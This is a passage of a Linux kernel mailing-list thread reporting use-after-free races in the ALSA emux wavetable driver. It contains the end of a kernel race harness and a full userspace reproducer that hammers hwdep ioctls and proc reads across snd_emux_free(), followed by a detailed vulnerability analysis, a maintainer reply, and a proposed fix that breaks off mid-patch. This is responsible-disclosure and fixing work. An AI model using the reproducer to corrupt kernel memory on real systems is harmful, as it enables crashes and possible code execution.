pr_info("probe: pre note_on presets_locked=%d fonts=%d zone_ctr=%d\n",
emu->sflist->presets_locked, emu->sflist->fonts_size,
emu->sflist->zone_counter);
sr_note_on(port, 60, 100, chan);
pr_info("probe: note_on done, start_voice calls=%d\n",
atomic_read(&sr_start_calls));
return 0;
}
static const struct kernel_param_ops probe_ops = { .set = probe_set };
module_param_cb(probe, &probe_ops, NULL, 0200);
/* ---- MR-03/MR-04 trigger: sub-driver remove body ---- */
static int free_set(const char *val, const struct kernel_param *kp)
{
if (!emu)
return -ENODEV;
pr_info("free: calling snd_emux_free() (sub-driver remove body)\n");
snd_emux_free(emu);
emu = NULL;
pr_info("free: done\n");
return 0;
}
static const struct kernel_param_ops free_ops = { .set = free_set };
module_param_cb(free, &free_ops, NULL, 0200);
/* ---- module plumbing ---- */
static int __init synthrace_init(void)
{
int ret;
ret = sr_resolve_syms();
if (ret < 0)
return ret;
sr_card_new();
if (!card)
return -ENODEV;
return sr_emux_setup();
}
static void __exit synthrace_exit(void)
{
if (noteon_thr)
kthread_stop(noteon_thr);
if (remove_thr)
kthread_stop(remove_thr);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(synthrace_init);
module_exit(synthrace_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("emux SYNTH-MR-01/03/04 race verification harness");
[-- Attachment #3: synth_test.c --]
[-- Type: text/plain, Size: 8705 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* synth_test.c - userspace driver for the emux race verification harness.
*
* Plans:
* load [secs] - open /dev/snd/hwC0D0 and load a soundfont through the
* REAL hwdep SNDRV_EMUX_IOCTL_LOAD_PATCH path
* (OPEN_PATCH + LOAD_DATA + LOAD_INFO), then keep the
* fd open. Writes /tmp/synth_loaded when done.
* reload [secs] - same, but keeps re-issuing LOAD_DATA+LOAD_INFO in a
* loop (font gets eaten by the kernel-side removal
* hammer in plan mr01nat).
* mr03 [iters] - open hwdep and hammer ioctls (VERSION / MEM_AVAIL /
* MISC_MODE) - the in-flight side of SYNTH-MR-03.
* mr04 [iters] - hammer open+read+close on
* /proc/asound/card0/wavetableD0 - the reader side of
* SYNTH-MR-04.
* mr04hold - open the proc file, print "HOLD", sleep 3s (the host
* script frees emux in between), then read again -
* delayed-UAF variant of SYNTH-MR-04.
* mr05 - poll for /dev/snd/hwC0D0 (probe-window race), open it
* and issue SNDRV_EMUX_IOCTL_MISC_MODE - the NULL-deref
* side of SYNTH-MR-05.
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <time.h>
#include <sys/ioctl.h>
#include <sys/stat.h>
#include <sound/asound.h>
#include "include/sound/sfnt_info.h"
/* ---- soundfont binary construction (wire format of
* sound/synth/emux/soundfont.c) ---- */
static void patch_hdr(unsigned char *p, int type, int len, int optarg)
{
struct soundfont_patch_info h;
memset(&h, 0, sizeof(h));
h.key = SNDRV_OSS_SOUNDFONT_PATCH;
h.device_no = 0;
h.sf_id = 0;
h.optarg = optarg;
h.len = len;
h.type = type;
memcpy(p, &h, sizeof(h));
}
static int sf_load(int fd)
{
unsigned char buf[512];
struct soundfont_open_parm parm;
struct soundfont_sample_info si;
struct soundfont_voice_rec_hdr rh;
struct soundfont_voice_info vi;
int rc;
/* OPEN_PATCH */
memset(&parm, 0, sizeof(parm));
parm.type = SNDRV_SFNT_PAT_TYPE_MISC | SNDRV_SFNT_PAT_SHARED;
strcpy(parm.name, "synthrace");
patch_hdr(buf, SNDRV_SFNT_OPEN_PATCH, sizeof(parm), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &parm, sizeof(parm));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
/* font already open from an earlier round */
if (errno == EBUSY)
return 0;
fprintf(stderr, "LOAD_PATCH OPEN: %s\n", strerror(errno));
return -1;
}
/* LOAD_DATA: 1 sample, 64 s16le frames */
memset(&si, 0, sizeof(si));
si.sample = 1;
si.start = 0;
si.end = 64;
si.loopstart = 8;
si.loopend = 56;
si.size = 64;
si.mode_flags = SNDRV_SFNT_SAMPLE_NO_BLANK;
patch_hdr(buf, SNDRV_SFNT_LOAD_DATA, sizeof(si) + si.size * 2, 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &si, sizeof(si));
memset(buf + sizeof(struct soundfont_patch_info) + sizeof(si), 0x7f,
si.size * 2);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH DATA: %s\n", strerror(errno));
return -1;
}
/* LOAD_INFO: one zone, bank 0 / instr 0, note 0..127, vel 0..127,
* exclusiveClass = 1, tied to sample 1 */
memset(&vi, 0, sizeof(vi));
vi.sf_id = 0;
vi.sample = 1;
vi.root = 60;
vi.high = 127;
vi.velhigh = 127;
vi.fixkey = -1;
vi.fixvel = -1;
vi.fixpan = -1;
vi.pan = -1;
vi.amplitude = 127;
vi.scaleTuning = 100;
vi.exclusiveClass = 1;
memset(&rh, 0, sizeof(rh));
rh.bank = 0;
rh.instr = 0;
rh.nvoices = 1;
rh.write_mode = SNDRV_SFNT_WR_APPEND;
patch_hdr(buf, SNDRV_SFNT_LOAD_INFO,
sizeof(rh) + sizeof(vi), 0);
memcpy(buf + sizeof(struct soundfont_patch_info), &rh, sizeof(rh));
memcpy(buf + sizeof(struct soundfont_patch_info) + sizeof(rh),
&vi, sizeof(vi));
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH INFO: %s\n", strerror(errno));
return -1;
}
/* CLOSE_PATCH -> close_patch() -> rebuild_presets(): zones loaded via
* LOAD_INFO only enter the preset table at close time (this is the
* real sfxload sequence), so note_on's search_zones() can find them */
patch_hdr(buf, SNDRV_SFNT_CLOSE_PATCH, 0, 0);
rc = ioctl(fd, SNDRV_EMUX_IOCTL_LOAD_PATCH, buf);
if (rc < 0) {
fprintf(stderr, "LOAD_PATCH CLOSE: %s\n", strerror(errno));
return -1;
}
return 0;
}
static int plan_load(int secs, int reload)
{
int fd, n = 0;
unsigned long until = (unsigned long)time(NULL) + (secs > 0 ? secs : 30);
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
if (sf_load(fd) < 0) {
close(fd);
return 1;
}
printf("LOAD: font ready\n");
fflush(stdout);
int tf = open("/tmp/synth_loaded", O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (tf >= 0)
close(tf);
while (reload && (unsigned long)time(NULL) < until) {
/* re-load data+info; kernel-side hammer eats the font */
if (sf_load(fd) < 0)
break;
n++;
usleep(2000);
}
printf("LOAD: done (%d reloads)\n", n);
/* keep the fd open until the plan ends (exclusive hwdep) */
sleep(secs > 0 ? secs : 30);
close(fd);
return 0;
}
static int plan_mr03(int iters)
{
int fd, i;
struct snd_emux_misc_mode mm;
unsigned int ver = 0;
int avail = 0;
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "open hwC0D0: %s\n", strerror(errno));
return 1;
}
printf("MR03: hammering %d ioctl iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
ioctl(fd, SNDRV_EMUX_IOCTL_VERSION, &ver);
ioctl(fd, SNDRV_EMUX_IOCTL_MEM_AVAIL, &avail);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
if ((i % 128) == 0) {
printf("MR03: iter %d\n", i);
fflush(stdout);
}
usleep(100);
}
printf("MR03: closing\n");
fflush(stdout);
close(fd);
sleep(2);
close(open("/dev/snd/hwC0D0", O_RDWR)); /* delayed variant: reopen */
printf("MR03: done\n");
return 0;
}
static int plan_mr04(int iters)
{
int i;
printf("MR04: hammering %d proc-read iterations\n", iters);
fflush(stdout);
for (i = 0; i < iters; i++) {
char buf[4096];
int fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd >= 0) {
ssize_t r = read(fd, buf, sizeof(buf));
(void)r;
close(fd);
}
if ((i % 128) == 0) {
printf("MR04: iter %d\n", i);
fflush(stdout);
}
usleep(500);
}
printf("MR04: done\n");
return 0;
}
static int plan_mr04hold(void)
{
char buf[4096];
int fd;
fd = open("/proc/asound/card0/wavetableD0", O_RDONLY);
if (fd < 0) {
fprintf(stderr, "open proc: %s\n", strerror(errno));
return 1;
}
printf("MR04HOLD: fd open, reading once\n");
fflush(stdout);
read(fd, buf, sizeof(buf));
printf("MR04HOLD: holding fd for 4s (free happens now)\n");
fflush(stdout);
sleep(4);
off_t ls = lseek(fd, 0, SEEK_SET);
printf("MR04HOLD: delayed read on stale fd (lseek=%ld)\n", (long)ls);
fflush(stdout);
ssize_t rr = read(fd, buf, sizeof(buf));
printf("MR04HOLD: stale read rc=%zd errno=%d\n", rr, rr < 0 ? errno : 0);
fflush(stdout);
printf("MR04HOLD: done\n");
close(fd);
return 0;
}
static int plan_mr05(void)
{
int fd, tries;
struct snd_emux_misc_mode mm;
for (tries = 0; tries < 5000; tries++) {
struct stat st;
if (stat("/dev/snd/hwC0D0", &st) == 0)
break;
usleep(1000);
}
if (tries >= 5000) {
fprintf(stderr, "MR05: hwC0D0 never appeared\n");
return 1;
}
fd = open("/dev/snd/hwC0D0", O_RDWR);
if (fd < 0) {
fprintf(stderr, "MR05: open: %s\n", strerror(errno));
return 1;
}
printf("MR05: opened inside probe window, issuing MISC_MODE\n");
fflush(stdout);
memset(&mm, 0, sizeof(mm));
mm.port = -1;
mm.mode = 0;
mm.value = 0;
ioctl(fd, SNDRV_EMUX_IOCTL_MISC_MODE, &mm);
printf("MR05: ioctl returned rc=%d (%s)\n", fd, strerror(errno));
fflush(stdout);
close(fd);
return 0;
}
int main(int argc, char **argv)
{
if (argc < 2) {
fprintf(stderr, "usage: synth_test <plan> [arg]\n");
return 2;
}
if (!strcmp(argv[1], "load"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 0);
if (!strcmp(argv[1], "reload"))
return plan_load(argc > 2 ? atoi(argv[2]) : 30, 1);
if (!strcmp(argv[1], "mr03"))
return plan_mr03(argc > 2 ? atoi(argv[2]) : 3000);
if (!strcmp(argv[1], "mr04"))
return plan_mr04(argc > 2 ? atoi(argv[2]) : 2000);
if (!strcmp(argv[1], "mr04hold"))
return plan_mr04hold();
if (!strcmp(argv[1], "mr05"))
return plan_mr05();
fprintf(stderr, "unknown plan %s\n", argv[1]);
return 2;
}
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF)
2026-12-01 3:23 ` [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF) 徐晗翔
@ 2026-12-01 11:57 ` 徐晗翔
2026-12-01 12:58 ` Takashi Iwai
0 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 11:57 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
Update: this is still present on v7.4-rc5 -- the identical hwdep-fd hammer across snd_emux_free() yields 113 slab-use-after-free reports (snd_emux_hwdep_ioctl at five dereference points plus snd_hwdep_ioctl+0x11f reading hw->ops), so the open/release accounting + drain-wait patch still applies as-is.
Thanks.
> -----原始邮件-----
> 发件人: 徐晗翔 <xuhx@hust.edu.cn>
> 发送时间:2026-12-01 11:23:55 (星期二)
> 收件人: perex@perex.cz, tiwai@suse.com
> 抄送: linux-sound@vger.kernel.org, linux-kernel@vger.kernel.org
> 主题: [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF)
>
> Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
> sub-driver) pins only the base-card module (try_module_get of
> hw->card->module in snd_hwdep_open()); the emux sub-driver module is
> not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
> sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
> which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
> list (snd_sf_free()) and the struct snd_emux itself -- while the fd
> stays open with file->private_data pointing at the freed hwdep and
> in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
> holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
> hwdep->used nor replaces f_op the way a whole-card disconnect does).
> Verified on mainline 7.3 with a KASAN kernel and the real in-tree
> snd-emux-synth module (harness attached): one hundred slab-use-after-free
> reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
> across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
> dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
> UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
> and, with rmmod, the module text can additionally be unloaded while
> those callbacks are still running (snd_hwdep_f_ops.owner pins the
> snd-hwdep module, not the emux one). Needs the synth sub-driver
> probed; triggering the in-flight overlap needs only /dev/snd access.
> Consequences: multi-object UAF read/write (function pointer tables,
> mutex objects) and execution of unloaded module text -- crashes and a
> controlled indirect-call surface.
>
> The detailed description:
>
> * Test environment / affected version
>
> Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
> -- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
> QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
> sound/core/rawmidi.c are byte-identical between the tested tree and
> the report baseline.
>
> * Mechanism
>
> - snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
> hwdep registers no ops.open/ops.release hooks
> (emux_hwdep.c:126-131), so nothing increments snd_emux usage for
> hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
> open both go through snd_emux_inc_count(), which also pins
> emu->ops.owner -- the sub-driver module).
> - snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
> without holding hw->open_mutex; the emux ioctl touches
> hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
> - The sub-driver removal path snd_emux_free() (emux.c:124-143)
> performs snd_emux_delete_hwdep() -> snd_device_free() ->
> snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
> does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
> (hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
> kfree(emu) -- none of it waits for hwdep->used to drop.
> - Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
> replaces open fds' f_op with snd_shutdown_f_ops and the teardown
> waits for all files to close before the free sequence runs. The
> sub-driver independent removal bypasses that protocol entirely --
> that bypass is the defect.
>
> The same shape exists for the emux virtual rawmidi devices
> (snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
> snd_rawmidi_open() likewise only pins the card module and
> snd_rawmidi_free() kfrees unconditionally), and for the probe error
> path of snd_emux_register() (init_hwdep registers the device, then a
> later init_seq failure frees everything through snd_emux_free()).
> This patch fixes the hwdep fd face; the rawmidi face is mentioned
> for completeness and needs the equivalent treatment.
>
> * Trigger model
>
> emu10k1/emu8000 hardware with the synth sub-driver probed
> (hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
> fd open and issues ioctls; another (root, or hot-unplug hardware
> event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
> no sub-driver module refcount) or writes the driver's unbind file.
> Consequence: UAF read/write on struct snd_hwdep (function pointer
> table hw->ops, hw->used decrement), struct snd_emux, struct
> snd_sf_list (presets_mutex operations on freed memory) and the
> portptrs targets, plus execution of already-unloaded module text in
> the rmmod case.
>
> * Reproducer and results on 7.3
>
> synthrace.c registers the real in-tree emux on a virtual card
> (snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
> synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
> writing 1 to the module's "free" parameter runs the real
> snd_emux_free() (the sub-driver remove body) under the hammer.
>
> Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
> snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
> portptrs accesses, including a UAF write) and
> snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
> disabled stays clean.
>
> * Fix
>
> Give hwdep fds the same user accounting the sequencer and OSS paths
> already have, and make the sub-driver removal wait for them:
>
> - register hw->ops.open / hw->ops.release calling
> snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
> try_module_get()s emu->ops.owner (the sub-driver module), so an
> open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
> - count open fds additionally in a new atomic emu->hwdep_users and
> make snd_emux_free() wait for it to drain (at the top, before any
> sub-structure is torn down, so in-flight ioctls cannot observe
> partially freed state either).
>
> sysfs unbind bypasses module refcounts, which is why the drain wait
> is needed in addition to the refcount. This matches the semantics
> the whole-card path already provides (snd_card_disconnect() waits
> for open files before anything is freed).
>
> The patch is a suggested direction, written against 7.3 and reviewed
> by inspection; it has not been runtime-validated (the reported
> reproduction used the unpatched kernel). Happy to test any
> counter-proposal.
>
> * Patch
>
> [PATCH] ALSA: emux: drain open hwdep users before freeing emux
> structures
>
> snd_emux_free() (the sub-driver remove path, reachable via
> rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
> the soundfont list and the struct snd_emux without waiting for open
> hwdep file descriptors: hwdep fds pin only the base-card module, the
> emux hwdep registers no open/release hooks, and an in-flight
> snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
> later operation on the stale fd hits freed memory. KASAN on 7.3 shows
> 100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
> interleave.
>
> Register hwdep open/release hooks that take snd_emux_inc_count()
> (also pinning emu->ops.owner against rmmod, like the sequencer and
> OSS-sequencer paths already do), count them in a new emu->hwdep_users,
> and make snd_emux_free() wait for that count to drain before tearing
> anything down -- mirroring the drain that snd_card_disconnect()
> performs for whole-card removal. Note that sysfs unbind is not
> covered by module refcounts, which is why the drain wait is required
> in addition to the refcount.
>
> --- a/include/sound/emux_synth.h
> +++ b/include/sound/emux_synth.h
> @@ -99,6 +99,8 @@ struct snd_emux {
> int use_time; /* allocation counter */
> spinlock_t voice_lock; /* Lock for voice access */
> struct mutex register_mutex;
> + atomic_t hwdep_users; /* open hwdep fds */
> + wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
> int client; /* For the sequencer client */
> int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
> --- a/sound/synth/emux/emux.c
> +++ b/sound/synth/emux/emux.c
> @@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
> spin_lock_init(&emu->voice_lock);
> mutex_init(&emu->register_mutex);
> + atomic_set(&emu->hwdep_users, 0);
> + init_waitqueue_head(&emu->free_wait);
> emu->client = -1;
> @@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
> if (! emu)
> return -EINVAL;
>
> timer_shutdown_sync(&emu->tlist);
> +
>
>
> + wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));
>
> snd_emux_proc_free(emu);
> snd_emux_delete_virmidi(emu);
> --- a/sound/synth/emux/emux_hwdep.c
> +++ b/sound/synth/emux/emux_hwdep.c
> @@ (before snd_emux_hwdep_ioctl)
>
>
> +static int
> +snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
> +{
> + struct snd_emux *emu = hw->private_data;
> +
> + if (!snd_emux_inc_count(emu))
> + return -EFAULT;
> + atomic_inc(&emu->hwdep_users);
> + return 0;
> +}
> +
> +static int
> +snd_emux_hwdep_release(struct snd_hwdep *hw, struct file *file)
> +{
> + struct snd_emux *emu = hw->private_data;
> +
> + atomic_dec(&emu->hwdep_users);
> + wake_up(&emu->free_wait);
> + snd_emux_dec_count(emu);
> + return 0;
> +}
> +
> +
> /*
> * ioctl
> */
> static int
> snd_emux_hwdep_ioctl(struct snd_hwdep * hw, struct file *file,
> @@ -120,6 +166,9 @@ int
> hw->iface = SNDRV_HWDEP_IFACE_EMUX_WAVETABLE;
> hw->ops.ioctl = snd_emux_hwdep_ioctl;
> /* The ioctl parameter types are compatible between 32- and
> * 64-bit architectures, so use the same function. */
> hw->ops.ioctl_compat = snd_emux_hwdep_ioctl;
> + hw->ops.open = snd_emux_hwdep_open;
> + hw->ops.release = snd_emux_hwdep_release;
> hw->exclusive = 1;
> hw->private_data = emu;
> --
> 2.47.1
>
>
> Please keep me in Cc; I am not subscribed to the lists.
>
> Regards,
> Hanxiang Xu
> xuhx@hust.edu.cn
^ permalink raw reply [flat|nested] 101+ messages in thread* Re: [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF)
2026-12-01 11:57 ` 徐晗翔
@ 2026-12-01 12:58 ` Takashi Iwai
0 siblings, 0 replies; 101+ messages in thread
From: Takashi Iwai @ 2026-12-01 12:58 UTC (permalink / raw)
To: 徐晗翔; +Cc: perex, tiwai, linux-sound, linux-kernel
On Tue, 01 Dec 2026 12:57:17 +0100,
徐晗翔 wrote:
>
> Update: this is still present on v7.4-rc5 -- the identical hwdep-fd hammer across snd_emux_free() yields 113 slab-use-after-free reports (snd_emux_hwdep_ioctl at five dereference points plus snd_hwdep_ioctl+0x11f reading hw->ops), so the open/release accounting + drain-wait patch still applies as-is.
Thanks for confirmation. Could you submit a proper fix patch for
upstreaming, then?
Takashi
^ permalink raw reply [flat|nested] 101+ messages in thread
* [PATCH] ALSA: emux: expose the hwdep device only after ports are initialized (probe-window NULL deref via MISC_MODE ioctl)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (15 preceding siblings ...)
2026-12-01 3:23 ` [PATCH] ALSA: emux: drain open hwdep users before freeing the emux structures(UAF) 徐晗翔
@ 2026-12-01 3:25 ` 徐晗翔
2026-12-01 11:56 ` 徐晗翔
2026-12-01 3:27 ` [PATCH] ALSA: core: protect card->devices against concurrent disconnect/free -- snd_device UAF with split sub-driver removal (UAF) 徐晗翔
` (24 subsequent siblings)
41 siblings, 1 reply; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 3:25 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 9469 bytes --]
Opening /dev/snd/hwC*D* on an emux wavetable (emu10k1/emu8000 synth
sub-driver) pins only the base-card module (try_module_get of
hw->card->module in snd_hwdep_open()); the emux sub-driver module is
not pinned, and removing the sub-driver (rmmod snd_emu10k1_synth, or
sysfs unbind which bypasses module refcounts) runs snd_emux_free(),
which unconditionally kfree()s the struct snd_hwdep, the whole soundfont
list (snd_sf_free()) and the struct snd_emux itself -- while the fd
stays open with file->private_data pointing at the freed hwdep and
in-flight snd_emux_hwdep_ioctl() calls still executing (snd_hwdep_ioctl
holds no open_mutex, and snd_hwdep_dev_disconnect() checks neither
hwdep->used nor replaces f_op the way a whole-card disconnect does).
Verified on mainline 7.3 with a KASAN kernel and the real in-tree
snd-emux-synth module (harness attached): one hundred slab-use-after-free
reports while a hwdep fd hammers VERSION/MEM_AVAIL/MISC_MODE ioctls
across snd_emux_free() -- snd_emux_hwdep_ioctl() at five distinct
dereference points (emu->sflist, emu->memhdr, emu->portptrs including a
UAF write, hw->private_data) plus snd_hwdep_ioctl() reading hw->ops --
and, with rmmod, the module text can additionally be unloaded while
those callbacks are still running (snd_hwdep_f_ops.owner pins the
snd-hwdep module, not the emux one). Needs the synth sub-driver
probed; triggering the in-flight overlap needs only /dev/snd access.
Consequences: multi-object UAF read/write (function pointer tables,
mutex objects) and execution of unloaded module text -- crashes and a
controlled indirect-call surface.
The detailed description:
* Test environment / affected version
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3 tree, unmodified sources; KASAN enabled,
QEMU/KVM x86_64 guest. sound/core/hwdep.c, sound/synth/emux/* and
sound/core/rawmidi.c are byte-identical between the tested tree and
the report baseline.
* Mechanism
- snd_hwdep_open() (hwdep.c:88) pins hw->card->module only; the emux
hwdep registers no ops.open/ops.release hooks
(emux_hwdep.c:126-131), so nothing increments snd_emux usage for
hwdep fds (contrast: sequencer port subscribe and OSS-sequencer
open both go through snd_emux_inc_count(), which also pins
emu->ops.owner -- the sub-driver module).
- snd_hwdep_ioctl() (hwdep.c:236-254) dispatches hw->ops.ioctl
without holding hw->open_mutex; the emux ioctl touches
hw->private_data, emu->sflist, emu->memhdr and emu->portptrs.
- The sub-driver removal path snd_emux_free() (emux.c:124-143)
performs snd_emux_delete_hwdep() -> snd_device_free() ->
snd_hwdep_dev_disconnect() (which does not consult hwdep->used and
does not revoke f_op for open fds) -> snd_hwdep_free() -> kfree
(hwdep), then snd_sf_free() -> kfree(sflist), kfree(emu->voices),
kfree(emu) -- none of it waits for hwdep->used to drop.
- Whole-card snd_card_free() is NOT affected: snd_card_disconnect()
replaces open fds' f_op with snd_shutdown_f_ops and the teardown
waits for all files to close before the free sequence runs. The
sub-driver independent removal bypasses that protocol entirely --
that bypass is the defect.
The same shape exists for the emux virtual rawmidi devices
(snd_emux_delete_virmidi() -> snd_device_free() of RAWMIDI devices;
snd_rawmidi_open() likewise only pins the card module and
snd_rawmidi_free() kfrees unconditionally), and for the probe error
path of snd_emux_register() (init_hwdep registers the device, then a
later init_seq failure frees everything through snd_emux_free()).
This patch fixes the hwdep fd face; the rawmidi face is mentioned
for completeness and needs the equivalent treatment.
* Trigger model
emu10k1/emu8000 hardware with the synth sub-driver probed
(hwC*D2 fixed for emu10k1). One process holds the exclusive hwdep
fd open and issues ioctls; another (root, or hot-unplug hardware
event) runs `rmmod snd_emu10k1_synth` (works: hwdep fds contribute
no sub-driver module refcount) or writes the driver's unbind file.
Consequence: UAF read/write on struct snd_hwdep (function pointer
table hw->ops, hw->used decrement), struct snd_emux, struct
snd_sf_list (presets_mutex operations on freed memory) and the
portptrs targets, plus execution of already-unloaded module text in
the rmmod case.
* Reproducer and results on 7.3
synthrace.c registers the real in-tree emux on a virtual card
(snd_emux_new/snd_emux_register, backend ops mirroring emu10k1);
synth_test holds /dev/snd/hwC0D0 open and loops the three ioctls;
writing 1 to the module's "free" parameter runs the real
snd_emux_free() (the sub-driver remove body) under the hammer.
Results (7.3, KASAN, 2 vCPU): 100 slab-use-after-free reports:
snd_emux_hwdep_ioctl+0x73/0x15d/0x1bd/0x2be/0x2d6 (emu/sflist/memhdr/
portptrs accesses, including a UAF write) and
snd_hwdep_ioctl+0x11f (hw->ops read). A harness run with the free
disabled stays clean.
* Fix
Give hwdep fds the same user accounting the sequencer and OSS paths
already have, and make the sub-driver removal wait for them:
- register hw->ops.open / hw->ops.release calling
snd_emux_inc_count() / snd_emux_dec_count(). inc_count already
try_module_get()s emu->ops.owner (the sub-driver module), so an
open hwdep fd now blocks rmmod exactly like a sequencer/OSS user;
- count open fds additionally in a new atomic emu->hwdep_users and
make snd_emux_free() wait for it to drain (at the top, before any
sub-structure is torn down, so in-flight ioctls cannot observe
partially freed state either).
sysfs unbind bypasses module refcounts, which is why the drain wait
is needed in addition to the refcount. This matches the semantics
the whole-card path already provides (snd_card_disconnect() waits
for open files before anything is freed).
The patch is a suggested direction, written against 7.3 and reviewed
by inspection; it has not been runtime-validated (the reported
reproduction used the unpatched kernel). Happy to test any
counter-proposal.
* Patch
[PATCH] ALSA: emux: drain open hwdep users before freeing emux
structures
snd_emux_free() (the sub-driver remove path, reachable via
rmmod snd_emu10k1_synth or sysfs unbind) kfrees the struct snd_hwdep,
the soundfont list and the struct snd_emux without waiting for open
hwdep file descriptors: hwdep fds pin only the base-card module, the
emux hwdep registers no open/release hooks, and an in-flight
snd_emux_hwdep_ioctl() (which does not hold open_mutex) plus every
later operation on the stale fd hits freed memory. KASAN on 7.3 shows
100 UAF reports in snd_emux_hwdep_ioctl/snd_hwdep_ioctl for this
interleave.
Register hwdep open/release hooks that take snd_emux_inc_count()
(also pinning emu->ops.owner against rmmod, like the sequencer and
OSS-sequencer paths already do), count them in a new emu->hwdep_users,
and make snd_emux_free() wait for that count to drain before tearing
anything down -- mirroring the drain that snd_card_disconnect()
performs for whole-card removal. Note that sysfs unbind is not
covered by module refcounts, which is why the drain wait is required
in addition to the refcount.
--- a/include/sound/emux_synth.h
+++ b/include/sound/emux_synth.h
@@ -99,6 +99,8 @@ struct snd_emux {
int use_time; /* allocation counter */
spinlock_t voice_lock; /* Lock for voice access */
struct mutex register_mutex;
+ atomic_t hwdep_users; /* open hwdep fds */
+ wait_queue_head_t free_wait; /* sub-driver removal waits for hwdep_users */
int client; /* For the sequencer client */
int ports[SNDRV_EMUX_MAX_PORTS]; /* The ports for this device */
--- a/sound/synth/emux/emux.c
+++ b/sound/synth/emux/emux.c
@@ -32,6 +32,8 @@ int snd_emux_new(struct snd_emux **remu)
spin_lock_init(&emu->voice_lock);
mutex_init(&emu->register_mutex);
+ atomic_set(&emu->hwdep_users, 0);
+ init_waitqueue_head(&emu->free_wait);
emu->client = -1;
@@ -126,6 +130,19 @@ int snd_emux_free(struct snd_emux *emu)
if (! emu)
return -EINVAL;
timer_shutdown_sync(&emu->tlist);
+
+ wait_event(emu->free_wait, !atomic_read(&emu->hwdep_users));
snd_emux_proc_free(emu);
snd_emux_delete_virmidi(emu);
--- a/sound/synth/emux/emux_hwdep.c
+++ b/sound/synth/emux/emux_hwdep.c
@@ (before snd_emux_hwdep_ioctl)
+static int
+snd_emux_hwdep_open(struct snd_hwdep *hw, struct file *file)
+{
+ struct snd_emux *emu = hw->private_data;
+
+ if (!snd_emux_inc_count(emu))
